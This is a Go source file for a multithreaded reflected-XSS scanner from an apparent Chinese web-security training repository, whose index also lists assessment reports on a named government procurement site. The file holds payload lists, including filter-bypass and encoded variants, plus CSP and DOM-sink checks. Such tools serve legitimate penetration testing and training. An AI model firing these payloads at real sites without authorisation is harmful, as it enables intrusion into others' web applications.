初始化: Web安全攻防知识库
- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs - SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go - XSS工具: xss-fuzzer.py, xss-scanner.go - 认证攻击: web-brute.py, jwt-cracker.py - 服务端安全: port-scanner.py, tls-scanner.py - 防御配置: nginx-hardening.conf - 案例研究: 福建政采网安全评估报告 (13份) - 同步脚本: sync-gitea.sh
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289
02-xss/tools/xss-scanner.go
普通文件
289
02-xss/tools/xss-scanner.go
普通文件
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// xss-scanner.go - 高性能 XSS 批量扫描工具
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package main
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import (
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"flag"
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"fmt"
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"io"
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"net/http"
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"net/url"
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"regexp"
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"strings"
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"sync"
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"time"
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)
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type XSSResult struct {
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URL string
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Payload string
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Type string
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Category string
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}
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type XSSScanner struct {
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Client *http.Client
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Threads int
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Timeout time.Duration
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Payloads map[string][]string
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}
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var (
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colorRed = "\033[91m"
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colorGreen = "\033[92m"
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colorYellow = "\033[93m"
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colorBlue = "\033[94m"
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colorCyan = "\033[96m"
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colorBold = "\033[1m"
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colorEnd = "\033[0m"
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)
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func NewXSSScanner(threads int, timeout time.Duration) *XSSScanner {
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return &XSSScanner{
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Client: &http.Client{
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Timeout: timeout,
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CheckRedirect: func(req *http.Request, via []*http.Request) error {
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return http.ErrUseLastResponse
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},
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},
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Threads: threads,
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Timeout: timeout,
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Payloads: map[string][]string{
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"basic": {
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"<script>alert(1)</script>",
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"<script>alert('XSS')</script>",
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"<img src=x onerror=alert(1)>",
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"<svg onload=alert(1)>",
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"<body onload=alert(1)>",
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},
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"event_handlers": {
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"\"onfocus=alert(1) autofocus=",
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"\"onmouseover=alert(1)//",
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"\"onclick=alert(1)//",
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"\"onerror=alert(1)//",
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"\"onload=alert(1)//",
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},
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"tag_injection": {
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"<img src=x onerror=alert(1)//",
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"<svg/onload=alert(1)//",
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"<video src=x onerror=alert(1)>",
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"<details open ontoggle=alert(1)>",
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"<marquee onstart=alert(1)>",
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},
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"filter_bypass": {
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"<ScRiPt>alert(1)</ScRiPt>",
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"<SCRIPT>alert(1)</SCRIPT>",
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"<script >alert(1)</script >",
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"<script\x00>alert(1)</script>",
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},
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"encoding": {
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"%3Cscript%3Ealert(1)%3C/script%3E",
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"<script>alert(1)</script>",
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},
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},
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}
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}
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func (s *XSSScanner) SendRequest(targetURL, method, param, payload string) (string, error) {
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var req *http.Request
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var err error
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if method == "GET" {
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u, _ := url.Parse(targetURL)
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q := u.Query()
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q.Set(param, payload)
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u.RawQuery = q.Encode()
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req, err = http.NewRequest("GET", u.String(), nil)
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} else {
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data := url.Values{}
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data.Set(param, payload)
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req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
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req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
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}
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if err != nil {
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return "", err
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}
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req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
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resp, err := s.Client.Do(req)
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if err != nil {
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return "", err
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}
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defer resp.Body.Close()
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body, _ := io.ReadAll(resp.Body)
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return string(body), nil
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}
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func (s *XSSScanner) ScanURL(targetURL, method, param string) []XSSResult {
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var results []XSSResult
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var mu sync.Mutex
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var wg sync.WaitGroup
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sem := make(chan struct{}, s.Threads)
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for category, payloads := range s.Payloads {
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for _, payload := range payloads {
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wg.Add(1)
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go func(cat, p string) {
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defer wg.Done()
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sem <- struct{}{}
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defer func() { <-sem }()
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body, err := s.SendRequest(targetURL, method, param, p)
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if err != nil {
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return
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}
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if strings.Contains(body, p) || strings.Contains(body, url.QueryEscape(p)) {
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mu.Lock()
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results = append(results, XSSResult{
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URL: targetURL,
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Payload: p,
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Type: "Reflected XSS",
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Category: cat,
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})
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mu.Unlock()
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fmt.Printf("%s[VULN]%s [%s] %s - %s\n",
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colorRed+colorBold, colorEnd, cat, param, p[:min(50, len(p))])
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}
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}(category, payload)
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}
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}
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wg.Wait()
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return results
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}
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func (s *XSSScanner) CheckCSP(targetURL string) map[string]interface{} {
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result := map[string]interface{}{
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"has_csp": false,
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"csp": "",
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"weaknesses": []string{},
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}
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resp, err := s.Client.Get(targetURL)
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if err != nil {
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return result
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}
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defer resp.Body.Close()
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csp := resp.Header.Get("Content-Security-Policy")
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if csp != "" {
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result["has_csp"] = true
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result["csp"] = csp
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weaknesses := []string{}
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if strings.Contains(csp, "unsafe-inline") {
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weaknesses = append(weaknesses, "允许内联脚本 (unsafe-inline)")
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}
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if strings.Contains(csp, "unsafe-eval") {
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weaknesses = append(weaknesses, "允许 eval (unsafe-eval)")
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}
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if strings.Contains(csp, "*") {
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weaknesses = append(weaknesses, "使用通配符 (*)")
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}
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result["weaknesses"] = weaknesses
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}
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return result
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}
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func (s *XSSScanner) ScanDOMXSS(targetURL string) []map[string]string {
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results := []map[string]string{}
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resp, err := s.Client.Get(targetURL)
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if err != nil {
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return results
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}
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defer resp.Body.Close()
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body, _ := io.ReadAll(resp.Body)
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html := string(body)
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patterns := map[string]string{
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`document\.write\s*\([^)]*location`: "document.write with location",
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`element\.innerHTML\s*=\s*[^;]*location`: "innerHTML with location",
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`eval\s*\([^)]*location`: "eval with location",
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`window\.location\.hash`: "location.hash usage",
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}
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for pattern, desc := range patterns {
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matched, _ := regexp.MatchString(pattern, html)
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if matched {
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results = append(results, map[string]string{
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"pattern": pattern,
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"desc": desc,
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})
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}
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}
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return results
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}
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func min(a, b int) int {
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if a < b {
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return a
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}
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return b
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}
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func main() {
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target := flag.String("u", "", "Target URL")
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method := flag.String("m", "GET", "HTTP Method (GET/POST)")
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param := flag.String("p", "q", "Parameter to test")
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threads := flag.Int("t", 10, "Number of threads")
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timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
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checkCSP := flag.Bool("check-csp", false, "Check CSP headers")
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domScan := flag.Bool("dom-scan", false, "Scan for DOM XSS")
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flag.Parse()
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if *target == "" {
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fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
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flag.Usage()
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return
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}
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fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
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fmt.Printf("%sXSS Scanner (Go)%s\n", colorBold, colorEnd)
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fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
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scanner := NewXSSScanner(*threads, *timeout)
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fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target)
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fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method)
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fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param)
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if *checkCSP {
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fmt.Printf("\n%s[*]%s Checking CSP...\n", colorCyan, colorEnd)
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cspResult := scanner.CheckCSP(*target)
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if cspResult["has_csp"].(bool) {
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fmt.Printf("%s[+]%s CSP configured: %s\n", colorGreen, colorEnd, cspResult["csp"].(string)[:min(100, len(cspResult["csp"].(string)))])
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for _, w := range cspResult["weaknesses"].([]string) {
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fmt.Printf("%s[-]%s Weakness: %s\n", colorYellow, colorEnd, w)
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}
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} else {
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fmt.Printf("%s[-]%s No CSP configured!\n", colorYellow, colorEnd)
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}
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}
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if *domScan {
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fmt.Printf("\n%s[*]%s Scanning for DOM XSS...\n", colorCyan, colorEnd)
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domResults := scanner.ScanDOMXSS(*target)
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for _, r := range domResults {
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fmt.Printf("%s[-]%s Potential DOM XSS: %s\n", colorYellow, colorEnd, r["desc"])
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}
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}
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fmt.Printf("\n%s[*]%s Testing XSS payloads...\n", colorCyan, colorEnd)
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results := scanner.ScanURL(*target, *method, *param)
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fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
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fmt.Printf("%s[SUMMARY]%s Found %d XSS vulnerabilities\n", colorGreen, colorEnd, len(results))
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for _, r := range results {
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fmt.Printf(" - [%s] %s: %s\n", r.Category, r.Type, r.Payload[:min(50, len(r.Payload))])
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}
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fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
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}
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